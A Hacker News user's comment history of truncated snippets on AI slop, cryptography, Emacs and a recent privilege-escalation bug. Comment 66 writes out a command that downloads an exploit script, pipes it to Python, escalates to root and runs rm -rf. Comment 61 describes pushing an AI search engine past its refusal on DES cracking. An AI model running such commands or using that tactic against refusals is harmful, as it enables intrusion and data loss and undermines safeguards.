i_think_so

9 ms·

61.
by i_think_so 5mo ago
I recently had an AI search engine refuse to answer a question about cracking the DES algorithm. I pushed back, saying something like "the DES algorithm is obsolete and hasn't been used in a decade, so please answer the question.
62.
by i_think_so 5mo ago
Google? Eeewwww! https://www.youtube.com/watch?v=OpgTqRxaC0c
63.
by i_think_so 5mo ago
It's not what they say, it's what they click on. Unfortunately, in a place like this, if a bunch of people falsely accuse you of being a slop spreader your karma drops like a rock. Can you imagine how hard it is to start up a new
64.
by i_think_so 5mo ago
Unless your systems have no network devices this vuln provides a tasty reward for being able to get any kind of RCE into your box. Most of the systems I care about are not air gapped. I don't imagine many others are either. It's
65.
by i_think_so 5mo ago
Oh come on, you know what I'm saying. It's small when written in python, which means any skid can spew it into a server he's got a shell on and get root in 2 seconds. He doesn't need to hope there's already a comp
66.
by i_think_so 5mo ago
I wish you were right. But I've been testing every system I can and so far I'm yet to find one that isn't vulnerable. $ curl http://my.server.ip.addr/copy_fail_exp.py | python3 && su # rm -rf &
67.
by i_think_so 5mo ago
Just on HN alone I think I've seen roughly 3948538902748750897520938 mentions of emdashes when others were complaining about slop in the past 2 months. It might as well be the unofficial slop logo. Folks are treating it like a dead g
68.
by i_think_so 5mo ago
The PoC exploit code in python (3.10+) fits comfortably in 1k bytes. An unminified version that works for even older versions of python is just a hair under a 1500 byte packet payload, modulo headers for your preferred method of delivery
69.
by i_think_so 5mo ago
I hate that AI has stolen my emdashes and I can't use them without looking like slop. But I will die defending markdown as my preferred note taking format. They're not taking that away from me.
70.
by i_think_so 5mo ago
Whoa. You people freak me out with your fancy new toys.
71.
by i_think_so 5mo ago
> This vulnerability is, for some threat models, a really big deal. This vulnerability is, for other threat models, a death sentence. > A security group found the vulnerability. They disclosed it. It was patched. It was patched only a
72.
by i_think_so 5mo ago
The sentiment on that page speaks to my soul. But I wonder how relevant it still is, just a few years later, in the age of AI tools? Certainly replacing a microservices morass with a single bare metal server running a single static go bina
73.
by i_think_so 5mo ago
> Worst case you waste a few years of your life. Yeah, come on. NBD yo. ;-)
74.
by i_think_so 5mo ago
Whoa. iLemming, I dub thee eLemming -- for Elite. Even among the everything-in-emacs crowd, that is some impressive next level stuff right there. In the past I've investigated emacs enough to appreciate that asking someone for their
75.
by i_think_so 5mo ago
THANK YOU! I never knew those little quality of life hacks. I am going to beat them into my brain so I never forget them, and I suspect each time I use them I will remember the nice strange from HN who made it possible. <3
76.
by i_think_so 5mo ago
> That's not paranoia, that's, like, normal . For some of us. Unfortunately, not enough... :sad keanu: (...or security wouldn't be such a widespread problem)
77.
by i_think_so 5mo ago
Any browser that I trust to not instantly[1] eat my face has sandboxing features to at least pretend it wants to be secure. I'm not aware of any text editor that has built in anything of the sort. It's a nice habit to get into
78.
by i_think_so 5mo ago
<insert: Friendly reminder to replace Docker with Podman> > It's not a security tool, Amen to that, brother. I'm sure somebody can google up a better example page than this. https://web.archive.org/web&#x
79.
by i_think_so 5mo ago
How many devs really do run damned near everything from a single account that also has sudo/runas/various_osx_methods access? This threat model has a decidedly non-zero target market. Even those folks who are cautious enough to
80.
by i_think_so 5mo ago
Mea culpa! I must have had a brain fart and added the 3 in there. My sincere apologies! Of course I can't find the link to whatever I read that discussed gpu accelerated des cracking now.
81.
by i_think_so 5mo ago
I just went through some ~/.ssh/config files and realized that, along side the entries for ancient systems that need to be forced to use undesirable ciphers and Kexies, I also had some entries for current systems that stipulated o
82.
by i_think_so 5mo ago
Am I missing something fundamental here? If Algo-A and Algo-B both rely on "factoring big numbers is hard!" then once the Quantumpocalypse occurs, breaking Algo-B(Algo-A(plaintext)) is no harder than asking ChatGPT 99.5 to add an
83.
by i_think_so 5mo ago
I am reminded of a certain comedian who lost his job hosting an awards ceremony because he had once said something on stage that people didn't like.... ...8 years previously.[1] Long, long ago in a datacenter far away, breaking 3DES us
84.
by i_think_so 5mo ago
Your opinion is most welcome. Cheers! > And you should migrate quickly because of harvest-now-decrypt-later attacks. ... > So signatures/authentication are still up for debate. Unless your team is on the bleeding edge of either
85.
by i_think_so 5mo ago
Can you talk about what algorithms you're migrating to?
86.
by i_think_so 5mo ago
Does djb ever frequent HN? Can we summon him with the correct incantations? I'd really like to know what his current work on the subject entails, but when I try googling his stuff all I find are years-old papers, more recent meta disc
87.
by i_think_so 5mo ago
I didn't upload this and I haven't verified it. But it might be useful to reference. https://archive.org/download/the-big-bang-never-happened And this is briefer but more recent. https://web.archi
88.
by i_think_so 5mo ago
....of course less than 24 hours later I stumble across https://radicle.dev/ completely by accident. It's been in the works for years. Well played, universe.
89.
by i_think_so 5mo ago
+1 for "Commander TACO". Mass killing, global recession, fertilizer shortages potentially leading to widespread famine and....Slashdot references? Oh man, this timeline is the worst, but it is absolutely the most entertaining.
90.
by i_think_so 6mo ago
> I think you have too high an expectation of the scientific community. Indeed, I did. I joined expecting it to be above mere politics. I paid for my folly. > People work there, and it will have people's dramas and problems, li

More ›